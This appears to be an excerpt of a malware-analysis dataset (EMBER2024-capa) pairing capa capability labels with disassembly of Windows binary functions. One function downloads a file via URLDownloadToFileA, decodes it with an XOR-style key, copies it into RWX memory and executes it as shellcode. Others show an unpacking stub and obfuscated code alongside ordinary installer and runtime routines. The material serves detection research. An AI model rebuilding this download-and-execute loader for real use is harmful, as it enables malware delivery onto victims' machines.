joyce8/EMBER2024-capa huggingface dataset:
Function at 0x141531fb0
Capabilities:
Allocate or change rwx memory
Check if file exists
Execute shellcode via indirect call
Get file attributes
Read file on windows

Disassembly:
push rsi
push rdi
sub rsp, 0x78
cmp dword [0x1415486cc], 2
jle 0x14153219c
call fcn.141531f00
lea rcx, str.urlmon.dll
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov qword [rsp + 0x40], rax
cmp qword [rsp + 0x40], 0
jne 0x141531fed
mov eax, 1
jmp 0x1415321a1
lea rdx, str.URLDownloadToFileA
mov rcx, qword [rsp + 0x40]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rsp + 0x58], rax
cmp qword [rsp + 0x58], 0
jne 0x141532021
mov rcx, qword [rsp + 0x40]
call qword [sym.imp.KERNEL32.dll_FreeLibrary]
mov eax, 1
jmp 0x1415321a1
lea rcx, str.3.jpg
call qword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
jne 0x141532073
mov qword [rsp + 0x20], 0
xor r9d, r9d
lea r8, str.3.jpg
lea rdx, section..dat
xor ecx, ecx
call qword [rsp + 0x58]
mov dword [rsp + 0x30], eax
cmp dword [rsp + 0x30], 0
jge 0x141532073
mov rcx, qword [rsp + 0x40]
call qword [sym.imp.KERNEL32.dll_FreeLibrary]
mov eax, 1
jmp 0x1415321a1
lea rdx, [0x1415453c8]
lea rcx, str.3.jpg
call fcn.141532af8
mov qword [rsp + 0x38], rax
cmp qword [rsp + 0x38], 0
jne 0x1415320a8
mov rcx, qword [rsp + 0x40]
call qword [sym.imp.KERNEL32.dll_FreeLibrary]
mov eax, 1
jmp 0x1415321a1
mov r8d, 2
xor edx, edx
mov rcx, qword [rsp + 0x38]
call fcn.141532bb0
mov rcx, qword [rsp + 0x38]
call fcn.141532f38
cdqe
mov qword [rsp + 0x48], rax
xor r8d, r8d
xor edx, edx
mov rcx, qword [rsp + 0x38]
call fcn.141532bb0
mov rcx, qword [rsp + 0x48]
call fcn.141532f90
mov qword [rsp + 0x50], rax
cmp qword [rsp + 0x50], 0
jne 0x141532110
mov rcx, qword [rsp + 0x38]
call fcn.1415330c4
mov rcx, qword [rsp + 0x40]
call qword [sym.imp.KERNEL32.dll_FreeLibrary]
mov eax, 1
jmp 0x1415321a1
mov r9, qword [rsp + 0x38]
mov r8, qword [rsp + 0x48]
mov edx, 1
mov rcx, qword [rsp + 0x50]
call fcn.14153334c
mov rcx, qword [rsp + 0x38]
call fcn.1415330c4
lea r8, str.XDCY1XD
mov rdx, qword [rsp + 0x48]
mov rcx, qword [rsp + 0x50]
call fcn.141531d80
mov r9d, 0x40
mov r8d, 0x1000
mov rdx, qword [rsp + 0x48]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov qword [rsp + 0x60], rax
mov rdi, qword [rsp + 0x60]
mov rsi, qword [rsp + 0x50]
mov rcx, qword [rsp + 0x48]
rep movsb byte [rdi], byte [rsi]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_Sleep]
call qword [rsp + 0x60]
mov rcx, qword [rsp + 0x50]
call fcn.141533414
mov rcx, qword [rsp + 0x40]
call qword [sym.imp.KERNEL32.dll_FreeLibrary]
mov eax, 1
add rsp, 0x78
pop rdi
pop rsi
ret
Function at 0x141532390
Capabilities:
Hide graphical window

Disassembly:
mov dword [rsp + 0x20], r9d
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rdi
sub rsp, 0xe0
mov dword [rsp + 0x90], 0
lea rax, [rsp + 0x98]
mov rdi, rax
xor eax, eax
mov ecx, 0x40
rep stosb byte [rdi], al
mov qword [rsp + 0xc0], 5
mov edx, 0x7f00
xor ecx, ecx
call qword [sym.imp.USER32.dll_LoadCursorW]
mov qword [rsp + 0xb8], rax
mov rax, qword [rsp + 0xf0]
mov qword [rsp + 0xa8], rax
lea rax, [0x141545420]
mov qword [rsp + 0xd0], rax
lea rax, [0x1415321b0]
mov qword [rsp + 0x98], rax
lea rcx, [rsp + 0x90]
call qword [sym.imp.USER32.dll_RegisterClassW]
movzx eax, ax
test eax, eax
jne 0x141532439
mov eax, 0xffffffff
jmp 0x141532528
mov rax, qword [rsp + 0xf0]
mov qword [0x141549948], rax
mov qword [rsp + 0x58], 0
mov rax, qword [rsp + 0xf0]
mov qword [rsp + 0x50], rax
mov qword [rsp + 0x48], 0
mov qword [rsp + 0x40], 0
mov dword [rsp + 0x38], 0x190
mov dword [rsp + 0x30], 0x1f4
mov dword [rsp + 0x28], 0x64
mov dword [rsp + 0x20], 0x64
mov r9d, 0x10cf0000
lea r8, [0x141545440]
lea rdx, str.myWindowClass
xor ecx, ecx
call qword [sym.imp.USER32.dll_CreateWindowExW]
mov qword [0x141549940], rax
xor edx, edx
mov rcx, qword [0x141549940]
call qword [sym.imp.USER32.dll_ShowWindow]
xor r9d, r9d
mov r8d, 1
mov edx, 0x111
mov rcx, qword [0x141549940]
call qword [sym.imp.USER32.dll_PostMessageW]
mov qword [rsp + 0x60], 0
lea rax, [rsp + 0x68]
mov rdi, rax
xor eax, eax
mov ecx, 0x28
rep stosb byte [rdi], al
xor r9d, r9d
xor r8d, r8d
xor edx, edx
lea rcx, [rsp + 0x60]
call qword [sym.imp.USER32.dll_GetMessageW]
test eax, eax
je 0x141532526
lea rcx, [rsp + 0x60]
call qword [sym.imp.USER32.dll_TranslateMessage]
lea rcx, [rsp + 0x60]
call qword [sym.imp.USER32.dll_DispatchMessageW]
jmp 0x1415324f7
xor eax, eax
add rsp, 0xe0
pop rdi
ret

Function at 0x141532a14
Capabilities:
Terminate process

Disassembly:
xor r8d, r8d
xor edx, edx
jmp fcn.14153287c
Function at 0x100e07230
Capabilities:
Terminate process

Disassembly:
cld
pop r11
jmp 0x100e0723d
inc rsi
mov byte [rdi], dl
inc rdi
mov dl, byte [rsi]
add ebx, ebx
jne 0x100e0724d
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
mov dl, byte [rsi]
jb 0x100e07235
lea eax, [rcx + 1]
jmp 0x100e0725b
dec eax
call r11
adc eax, eax
call r11
adc eax, eax
add ebx, ebx
jne 0x100e0726e
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
mov dl, byte [rsi]
jae 0x100e07254
sub eax, 3
jb 0x100e0728e
shl eax, 8
movzx edx, dl
or eax, edx
inc rsi
xor eax, 0xffffffff
je 0x100e072dd
sar eax, 1
movsxd rbp, eax
jb 0x100e072c4
jmp 0x100e0729c
add ebx, ebx
jne 0x100e0729a
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
jb 0x100e072c4
inc ecx
add ebx, ebx
jne 0x100e072aa
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
jb 0x100e072c4
call r11
adc ecx, ecx
add ebx, ebx
jne 0x100e072bd
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
jae 0x100e072ac
add ecx, 2
jmp 0x100e072c9
call r11
adc ecx, ecx
cmp rbp, 0xfffffffffffffb00
adc ecx, 2
call fcn.100e071f2
jmp 0x100e0723d
pop rsi
sub rsp, 0x28
lea rdi, [rsi + 0xe03000]
mov eax, dword [rdi]
or eax, eax
je 0x100e07339
mov ebx, dword [rdi + 4]
lea rcx, [rax + rsi + 0xe2c080]
add rbx, rsi
add rdi, 8
call qword [sym.imp.KERNEL32.DLL_LoadLibraryA]
xchg rbp, rax
mov al, byte [rdi]
inc rdi
or al, al
je 0x100e072e9
mov rcx, rdi
mov rdx, rdi
dec eax
repne scasb al, byte [rdi]
mov rcx, rbp
call qword [sym.imp.KERNEL32.DLL_GetProcAddress]
or rax, rax
je 0x100e07333
mov qword [rbx], rax
add rbx, 8
jmp 0x100e07309
jmp qword [sym.imp.KERNEL32.DLL_ExitProcess]
add rsp, 0x28
mov rbp, qword [sym.imp.KERNEL32.DLL_VirtualProtect]
lea rdi, [rsi - 0x1000]
mov ebx, 0x1000
push rax
mov r9, rsp
mov r8d, 4
mov rdx, rbx
mov rcx, rdi
sub rsp, 0x20
call rbp
lea rax, [rdi + 0x1af]
and byte [rax], 0x7f
and byte [rax + 0x28], 0x7f
lea r9, [rsp + 0x20]
mov r8, qword [r9]
mov rdx, rbx
mov rcx, rdi
call rbp
add rsp, 0x28
mov byte [fcn.100e073bc], 0xfc
lea rcx, [rsi - 0x1000]
push 1
pop rdx
xor r8, r8
push rax
call fcn.100e073bc
pop rax
pop rbp
pop rdi
pop rsi
pop rbx
lea rax, [rsp - 0x80]
push 0
cmp rsp, rax
jne 0x100e073ac
sub rsp, 0xffffffffffffff80
jmp 0x100003460
Function at 0x1805a116d
Capabilities:
Encode data using xor

Disassembly:
mov esi, 0xb70f11b1
lea rax, [0x1805770e0]
lea rsp, [rsp + 8]
movzx esi, byte [rdx]
xor esi, ecx
push 0x130baa0f
and esi, 0xff
mov esi, dword [rax + rsi*4]
shr ecx, 8
xor ecx, esi
inc rdx
xor ecx, 0xc809eb9d
dec rbx
not dword [rsp + 2]
push 0xffffffffc52a9d8b
lea rsp, [rsp + 0x10]
jne 0x1805a117e
call fcn.180589a9d
Function at 0x140004d60
Capabilities:
Read .ini file

Disassembly:
push rsi
push rdi
push r13
sub rsp, 0x350
mov rax, qword [0x14001e658]
xor rax, rsp
mov qword [rsp + 0x340], rax
cmp qword [0x14001e258], 0x10
mov rsi, rcx
lea r13, [0x14001e240]
mov r9, r13
lea rdx, str.Source_INF_Count
lea rcx, str.Installed_INF_Files
cmovae r9, qword [0x14001e240]
xor r8d, r8d
call qword [sym.imp.KERNEL32.dll_GetPrivateProfileIntA]
mov edi, eax
test eax, eax
je 0x140004f1f
mov qword [rsp + 0x378], rbx
mov qword [rsp + 0x380], rbp
xor ebp, ebp
mov qword [rsp + 0x388], r12
mov ebx, ebp
test eax, eax
jle 0x140004f02
lea r12, [0x14001e218]
nop word [rax + rax]
lea rdx, str.Source_INF_File__d
lea rcx, [rsp + 0x240]
mov r8d, ebx
call qword [sym.imp.USER32.dll_wsprintfA]
cmp qword [0x14001e258], 0x10
mov r11, r13
cmovae r11, qword [0x14001e240]
lea r9, [rsp + 0x40]
lea rdx, [rsp + 0x240]
mov qword [rsp + 0x28], r11
lea rcx, str.Installed_INF_Files
xor r8d, r8d
mov dword [rsp + 0x20], 0x100
call qword [sym.imp.KERNEL32.dll_GetPrivateProfileStringA]
lea rcx, [rsp + 0x40]
call qword [sym.imp.KERNEL32.dll_lstrlenA]
test eax, eax
je 0x140004f46
cmp qword [0x14001e230], 0x10
mov r8, r12
lea rcx, [rsp + 0x40]
cmovae r8, qword [0x14001e218]
mov edx, 0x100
call fcn.1400046b0
test eax, eax
je 0x140004f02
xor edx, edx
mov qword [rsp + 0x38], rbp
lea rax, [rsp + 0x140]
mov qword [rsp + 0x30], rbp
lea rcx, [rsp + 0x40]
lea r9d, [rdx + 8]
lea r8d, [rdx + 1]
mov dword [rsp + 0x28], 0x100
mov qword [rsp + 0x20], rax
call qword [sym.imp.SETUPAPI.dll_SetupCopyOEMInfA]
test eax, eax
jne 0x140004ec5
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x50
jne 0x140004f3b
lea rcx, [rsp + 0x140]
call qword [sym.imp.SHLWAPI.dll_PathStripPathA]
xor r8d, r8d
lea rcx, [rsp + 0x140]
lea edx, [r8 + 1]
call qword [sym.imp.SETUPAPI.dll_SetupUninstallOEMInfA]
mov edx, ebp
lea rcx, [rsi + 0x78]
test eax, eax
setne dl
call fcn.140008920
inc ebx
cmp ebx, edi
jl 0x140004df0
mov eax, 1
mov rbp, qword [rsp + 0x380]
mov rbx, qword [rsp + 0x378]
mov r12, qword [rsp + 0x388]
mov rcx, qword [rsp + 0x340]
xor rcx, rsp
call fcn.14000a3b0
add rsp, 0x350
pop r13
pop rdi
pop rsi
ret
lea rcx, [rsi + 0x78]
xor edx, edx
call fcn.140008920
xor eax, eax
jmp 0x140004f07
Function at 0x140006480
Capabilities:
Check if file exists

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x140
mov rax, qword [0x14001e658]
xor rax, rsp
mov qword [rsp + 0x130], rax
mov rsi, rcx
lea rcx, [rsp + 0x31]
xor edx, edx
mov r8d, 0xff
mov byte [rsp + 0x30], 0
call fcn.140009e40
lea rdx, [rsp + 0x30]
mov r8d, 0x100
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
or rcx, 0xffffffffffffffff
xor eax, eax
lea rdi, [rsp + 0x30]
lea rdx, [rsp + 0x30]
repne scasb al, byte [rdi]
not rcx
lea r8, [rcx - 1]
lea rcx, [rsi + 0x28]
call fcn.140005a80
cmp qword [rsi + 0x40], 0
je 0x140006560
lea rdx, [0x14001770c]
lea rcx, [rsi + 0x28]
mov r9d, 1
or r8, 0xffffffffffffffff
call fcn.1400043e0
lea r9, [0x140017708]
lea rcx, [rsi + 0x28]
lea rdx, [rax + 1]
mov r8d, 3
mov qword [rsp + 0x20], 3
call fcn.140005850
cmp qword [rsi + 0x40], 0
je 0x140006560
cmp qword [rsi + 0x48], 0x10
jb 0x14000654b
mov rcx, qword [rsi + 0x30]
jmp 0x14000654f
lea rcx, [rsi + 0x30]
call qword [sym.imp.SHLWAPI.dll_PathFileExistsA]
test eax, eax
je 0x140006560
mov eax, 1
jmp 0x140006562
xor eax, eax
mov rcx, qword [rsp + 0x130]
xor rcx, rsp
call fcn.14000a3b0
lea r11, [rsp + 0x140]
mov rbx, qword [r11 + 0x18]
mov rsi, qword [r11 + 0x20]
mov rsp, r11
pop rdi
ret

Function at 0x140006590
Capabilities:
Read .ini file

Disassembly:
push rbx
sub rsp, 0x140
mov rax, qword [0x14001e658]
xor rax, rsp
mov qword [rsp + 0x130], rax
cmp qword [rcx + 0x48], 0x10
mov rbx, rdx
jb 0x1400065bb
mov rax, qword [rcx + 0x30]
jmp 0x1400065bf
lea rax, [rcx + 0x30]
cmp qword [0x14001e208], 0x10
mov qword [rsp + 0x28], rax
lea rdx, [0x14001e1f0]
cmovae rdx, qword [0x14001e1f0]
cmp qword [0x14001e140], 0x10
lea rcx, [0x14001e128]
cmovae rcx, qword [0x14001e128]
lea r9, [rsp + 0x30]
lea r8, [0x140017561]
mov dword [rsp + 0x20], 0x100
call qword [sym.imp.KERNEL32.dll_GetPrivateProfileStringA]
lea rcx, [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_lstrlenA]
test eax, eax
je 0x140006651
or rcx, 0xffffffffffffffff
mov qword [rsp + 0x160], rdi
xor eax, eax
lea rdi, [rsp + 0x30]
lea rdx, [rsp + 0x30]
repne scasb al, byte [rdi]
not rcx
lea r8, [rcx - 1]
mov rcx, rbx
call fcn.140005a80
mov rdi, qword [rsp + 0x160]
mov eax, 1
mov rcx, qword [rsp + 0x130]
xor rcx, rsp
call fcn.14000a3b0
add rsp, 0x140
pop rbx
ret
Function at 0x140006e70
Capabilities:
Check if file exists
Read .ini file

Disassembly:
mov r11, rsp
push rdi
sub rsp, 0x2b0
mov qword [rsp + 0x68], 0xfffffffffffffffe
mov qword [r11 + 0x10], rbx
mov qword [r11 + 0x18], rbp
mov qword [r11 + 0x20], rsi
mov rax, qword [0x14001e658]
xor rax, rsp
mov qword [rsp + 0x2a0], rax
mov rbx, rcx
mov qword [r11 - 0x228], 0xf
xor esi, esi
mov qword [r11 - 0x230], rsi
mov byte [rsp + 0x78], sil
cmp qword [rcx + 0x48], 0x10
jb 0x140006ecb
mov rax, qword [rcx + 0x30]
jmp 0x140006ecf
lea rax, [rcx + 0x30]
lea rdx, [0x14001e150]
cmp qword [0x14001e168], 0x10
cmovae rdx, qword [0x14001e150]
lea rcx, [0x14001e128]
cmp qword [0x14001e140], 0x10
cmovae rcx, qword [0x14001e128]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], 0x100
lea r9, [rsp + 0x1a0]
lea r8, [0x140017561]
call qword [sym.imp.KERNEL32.dll_GetPrivateProfileStringA]
lea rcx, [rsp + 0x1a0]
call qword [sym.imp.KERNEL32.dll_lstrlenA]
test eax, eax
je 0x140007086
lea r8, [rsp + 0x70]
lea rdx, [rsp + 0x1a0]
mov rcx, rbx
call fcn.140006ac0
cmp qword [rsp + 0x88], 0
je 0x14000706d
lea rcx, [rsp + 0x78]
cmp qword [rsp + 0x90], 0x10
cmovae rcx, qword [rsp + 0x78]
call qword [sym.imp.SHLWAPI.dll_PathFileExistsA]
test eax, eax
je 0x14000706d
mov byte [rsp + 0xa0], 0
xor edx, edx
mov r8d, 0xff
lea rcx, [rsp + 0xa1]
call fcn.140009e40
lea rcx, [rsp + 0x78]
cmp qword [rsp + 0x90], 0x10
cmovae rcx, qword [rsp + 0x78]
mov qword [rsp + 0x38], rsi
mov qword [rsp + 0x30], rsi
mov dword [rsp + 0x28], 0x100
lea rax, [rsp + 0xa0]
mov qword [rsp + 0x20], rax
xor edx, edx
lea r9d, [rdx + 4]
lea r8d, [rdx + 1]
call qword [sym.imp.SETUPAPI.dll_SetupCopyOEMInfA]
mov ebp, eax
test eax, eax
je 0x14000703f
mov qword [rsp + 0x60], 0xf
mov qword [rsp + 0x58], rsi
mov byte [rsp + 0x48], 0
xor eax, eax
or rcx, 0xffffffffffffffff
lea rdi, [rsp + 0xa0]
repne scasb al, byte [rdi]
not rcx
lea r8, [rcx - 1]
lea rdx, [rsp + 0xa0]
lea rcx, [rsp + 0x40]
call fcn.140005a80
nop
lea rcx, [rbx + 0x78]
lea rdx, [rsp + 0x40]
call fcn.140007920
nop
cmp qword [rsp + 0x60], 0x10
jb 0x14000703f
mov rcx, qword [rsp + 0x48]
call fcn.140009b34
test ebp, ebp
setne sil
lea rcx, [rbx + 0x78]
mov edx, esi
call fcn.140008920
nop
cmp qword [rsp + 0x90], 0x10
jb 0x140007066
mov rcx, qword [rsp + 0x78]
call fcn.140009b34
mov eax, 1
jmp 0x14000709d
cmp qword [rsp + 0x90], 0x10
jb 0x140007082
mov rcx, qword [rsp + 0x78]
call fcn.140009b34
xor eax, eax
jmp 0x14000709d
cmp qword [rsp + 0x90], 0x10
jb 0x14000709b
mov rcx, qword [rsp + 0x78]
call fcn.140009b34
xor eax, eax
mov rcx, qword [rsp + 0x2a0]
xor rcx, rsp
call fcn.14000a3b0
lea r11, [rsp + 0x2b0]
mov rbx, qword [r11 + 0x18]
mov rbp, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rsp, r11
pop rdi
ret
Function at 0x140007530
Capabilities:
Check mutex on windows

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x100
mov rax, qword [0x14001e658]
xor rax, rsp
mov qword [rsp + 0xf0], rax
cmp qword [0x14001e118], 0x10
mov rdi, r8
lea r8, [0x14001e100]
cmovae r8, qword [0x14001e100]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexA]
mov rbx, rax
test rax, rax
je 0x14000759c
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov rcx, rbx
cmp eax, 0xb7
jne 0x140007596
call qword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x14000768d
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, rdi
call fcn.140006230
mov ebx, eax
test eax, eax
je 0x140007642
lea rcx, [rsp + 0x20]
call fcn.140005d50
lea rcx, [0x14001e210]
or r9, 0xffffffffffffffff
mov rdx, rax
xor r8d, r8d
call fcn.140005320
cmp qword [rsp + 0x40], 0x10
jb 0x1400075e0
mov rcx, qword [rsp + 0x28]
call fcn.140009b34
lea r8, str.UnInst32.ini
lea rdx, [0x14001e210]
lea rcx, [rsp + 0x20]
call fcn.140005e60
lea rcx, [0x14001e238]
or r9, 0xffffffffffffffff
mov rdx, rax
xor r8d, r8d
call fcn.140005320
cmp qword [rsp + 0x40], 0x10
jb 0x140007620
mov rcx, qword [rsp + 0x28]
call fcn.140009b34
lea rcx, [rsp + 0x50]
call fcn.1400063f0
lea rcx, [rsp + 0x50]
call fcn.140006480
test eax, eax
jne 0x140007647
lea rcx, [rsp + 0x50]
call fcn.140005bd0
or eax, 0xffffffff
jmp 0x14000768f
cmp ebx, 1
je 0x140007677
cmp ebx, 2
je 0x140007677
cmp ebx, 3
jne 0x140007664
lea rcx, [rsp + 0x50]
mov edx, ebx
call fcn.140006e70
jmp 0x140007683
cmp ebx, 4
jne 0x140007683
lea rcx, [rsp + 0x50]
mov edx, ebx
call fcn.140004d60
jmp 0x140007683
lea rcx, [rsp + 0x50]
mov edx, ebx
call fcn.1400070d0
lea rcx, [rsp + 0x50]
call fcn.140005bd0
xor eax, eax
mov rcx, qword [rsp + 0xf0]
xor rcx, rsp
call fcn.14000a3b0
mov rbx, qword [rsp + 0x110]
add rsp, 0x100
pop rdi
ret

Function at 0x140008180
Capabilities:
Get common file path

Disassembly:
push rbx
sub rsp, 0x170
mov qword [rsp + 0x28], 0xfffffffffffffffe
mov rax, qword [0x14001e658]
xor rax, rsp
mov qword [rsp + 0x160], rax
mov rbx, rcx
mov qword [rsp + 0x20], rcx
mov qword [rcx + 0x20], 0xf
mov qword [rcx + 0x18], 0
mov byte [rcx + 8], 0
mov byte [rsp + 0x60], 0
xor edx, edx
mov r8d, 0xff
lea rcx, [rsp + 0x61]
call fcn.140009e40
lea rdx, [rsp + 0x60]
mov ecx, 0x100
call qword [sym.imp.KERNEL32.dll_GetTempPathA]
lea r8, [0x14001e3a8]
lea rdx, [rsp + 0x60]
lea rcx, [rsp + 0x30]
call fcn.140007d00
nop
or r9, 0xffffffffffffffff
xor r8d, r8d
mov rdx, rax
mov rcx, rbx
call fcn.140005320
nop
cmp qword [rsp + 0x50], 0x10
jb 0x140008229
mov rcx, qword [rsp + 0x38]
call fcn.140009b34
nop
mov rax, rbx
jmp 0x14000822c
mov rax, rbx
mov rcx, qword [rsp + 0x160]
xor rcx, rsp
call fcn.14000a3b0
add rsp, 0x170
pop rbx
ret
Function at 0x14000e728
Capabilities:
Terminate process

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov dword [rsp + 0x18], r8d
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x40
mov r12d, r8d
mov ebx, edx
mov r15d, ecx
mov ecx, 8
call fcn.140012a4c
nop
cmp dword [0x14001fb50], 1
je 0x14000e6d4
mov dword [0x14001fb4c], 1
mov byte [0x14001fb48], r12b
test ebx, ebx
jne 0x14000e6c0
mov rcx, qword [0x140020b10]
call sub.KERNEL32.dll_DecodePointer
mov rsi, rax
mov qword [rsp + 0x30], rax
test rax, rax
je 0x14000e6ad
mov rcx, qword [0x140020b08]
call sub.KERNEL32.dll_DecodePointer
mov rdi, rax
mov qword [rsp + 0x20], rax
mov r14, rsi
mov qword [rsp + 0x28], rsi
mov r13, rax
mov qword [rsp + 0x38], rax
sub rdi, 8
mov qword [rsp + 0x20], rdi
cmp rdi, rsi
jb 0x14000e64c
call fcn.14000d3ac
cmp qword [rdi], rax
jne 0x14000e64c
jmp 0x14000e632
cmp rdi, rsi
jb 0x14000e6ad
mov rcx, qword [rdi]
call sub.KERNEL32.dll_DecodePointer
mov rbx, rax
call fcn.14000d3ac
mov qword [rdi], rax
call rbx
mov rcx, qword [0x140020b10]
call sub.KERNEL32.dll_DecodePointer
mov rbx, rax
mov rcx, qword [0x140020b08]
call sub.KERNEL32.dll_DecodePointer
cmp r14, rbx
jne 0x14000e68b
cmp r13, rax
je 0x14000e6ab
mov r14, rbx
mov qword [rsp + 0x28], rbx
mov rsi, rbx
mov qword [rsp + 0x30], rbx
mov r13, rax
mov qword [rsp + 0x38], rax
mov rdi, rax
mov qword [rsp + 0x20], rax
jmp 0x14000e632
lea rdx, [0x140017438]
lea rcx, [0x140017430]
call fcn.14000e47c
lea rdx, [0x140017448]
lea rcx, [0x140017440]
call fcn.14000e47c
nop
test r12d, r12d
je 0x14000e6e3
mov ecx, 8
call fcn.14001294c
test r12d, r12d
jne 0x14000e70e
mov dword [0x14001fb50], 1
lea ecx, [r12 + 8]
call fcn.14001294c
mov ecx, r15d
call fcn.14000e410
mov ecx, r15d
call qword [sym.imp.KERNEL32.dll_ExitProcess]
mov rbx, qword [rsp + 0x70]
mov rsi, qword [rsp + 0x78]
add rsp, 0x40
pop r15
pop r14
pop r13
pop r12
pop rdi
ret
xor r8d, r8d
xor edx, edx
jmp 0x14000e59c

Function at 0x14000e734
Capabilities:
Terminate process

Disassembly:
xor r8d, r8d
lea edx, [r8 + 1]
jmp 0x14000e59c
Function at 0x14000ec7f
Capabilities:
Terminate process

Disassembly:
cmp rcx, qword [0x14001e658]
jne 0x14000a3ca
rol rcx, 0x10
test cx, 0xffff
jne 0x14000a3c6
repz ret
ror rcx, 0x10
jmp 0x14000ebd8
mov qword [rsp + 8], rcx
sub rsp, 0x88
lea rcx, [0x14001ff30]
call qword [sym.imp.KERNEL32.dll_RtlCaptureContext]
mov r11, qword [0x140020028]
mov qword [rsp + 0x58], r11
xor r8d, r8d
lea rdx, [rsp + 0x60]
mov rcx, qword [rsp + 0x58]
call sub.KERNEL32.dll_RtlLookupFunctionEntry
mov qword [rsp + 0x50], rax
cmp qword [rsp + 0x50], 0
je 0x14000ec5d
mov qword [rsp + 0x38], 0
lea rax, [rsp + 0x48]
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x40]
mov qword [rsp + 0x28], rax
lea rax, [0x14001ff30]
mov qword [rsp + 0x20], rax
mov r9, qword [rsp + 0x50]
mov r8, qword [rsp + 0x58]
mov rdx, qword [rsp + 0x60]
xor ecx, ecx
call sub.KERNEL32.dll_RtlVirtualUnwind
jmp 0x14000ec7f
mov rax, qword [rsp + 0x88]
mov qword [0x140020028], rax
lea rax, [rsp + 0x88]
add rax, 8
mov qword [0x14001ffc8], rax
mov rax, qword [0x140020028]
mov qword [0x14001fea0], rax
mov rax, qword [rsp + 0x90]
mov qword [0x14001ffb0], rax
mov dword [0x14001fe90], 0xc0000409
mov dword [0x14001fe94], 1
mov rax, qword [0x14001e658]
mov qword [rsp + 0x68], rax
mov rax, qword [0x14001e660]
mov qword [rsp + 0x70], rax
call qword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
mov dword [0x14001ff28], eax
mov ecx, 1
call fcn.1400106c4
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
lea rcx, [0x140018e10]
call qword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
cmp dword [0x14001ff28], 0
jne 0x14000ed06
mov ecx, 1
call fcn.1400106c4
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, 0xc0000409
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
add rsp, 0x88
ret
Function at 0x140013efc
Capabilities:
Link many functions at runtime

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
push rsi
push rdi
push r12
push r13
push r14
sub rsp, 0x40
mov ebp, r8d
mov r13, rdx
mov r14, rcx
call fcn.14000d3ac
xor ebx, ebx
mov rdi, rax
cmp qword [0x140020810], rbx
jne 0x140014002
lea rcx, str.USER32.DLL
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rsi, rax
test rax, rax
je 0x1400140d7
lea rdx, str.MessageBoxA
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
je 0x1400140d7
mov rcx, rax
call sub.KERNEL32.dll_EncodePointer
lea rdx, str.GetActiveWindow
mov rcx, rsi
mov qword [0x140020810], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call sub.KERNEL32.dll_EncodePointer
lea rdx, str.GetLastActivePopup
mov rcx, rsi
mov qword [0x140020818], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call sub.KERNEL32.dll_EncodePointer
lea rdx, str.GetUserObjectInformationA
mov rcx, rsi
mov qword [0x140020820], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call sub.KERNEL32.dll_EncodePointer
mov r11, rax
mov qword [0x140020830], rax
test rax, rax
je 0x140013ff9
lea rdx, str.GetProcessWindowStation
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call sub.KERNEL32.dll_EncodePointer
mov qword [0x140020828], rax
jmp 0x140014009
mov rax, qword [0x140020828]
jmp 0x140014010
mov rax, qword [0x140020828]
mov r11, qword [0x140020830]
cmp rax, rdi
je 0x140014078
cmp r11, rdi
je 0x140014078
mov rcx, rax
call sub.KERNEL32.dll_DecodePointer
mov rcx, qword [0x140020830]
mov rsi, rax
call sub.KERNEL32.dll_DecodePointer
mov r12, rax
test rsi, rsi
je 0x140014078
test rax, rax
je 0x140014078
call rsi
test rax, rax
je 0x140014072
lea rcx, [rsp + 0x88]
mov r9d, 0xc
lea r8, [rsp + 0x30]
mov qword [rsp + 0x20], rcx
lea edx, [r9 - 0xb]
mov rcx, rax
call r12
test eax, eax
je 0x140014072
test byte [rsp + 0x38], 1
jne 0x140014078
bts ebp, 0x15
jmp 0x1400140b6
mov rcx, qword [0x140020818]
cmp rcx, rdi
je 0x1400140b6
call sub.KERNEL32.dll_DecodePointer
test rax, rax
je 0x1400140b6
call rax
mov rbx, rax
test rax, rax
je 0x1400140b6
mov rcx, qword [0x140020820]
cmp rcx, rdi
je 0x1400140b6
call sub.KERNEL32.dll_DecodePointer
test rax, rax
je 0x1400140b6
mov rcx, rbx
call rax
mov rbx, rax
mov rcx, qword [0x140020810]
call sub.KERNEL32.dll_DecodePointer
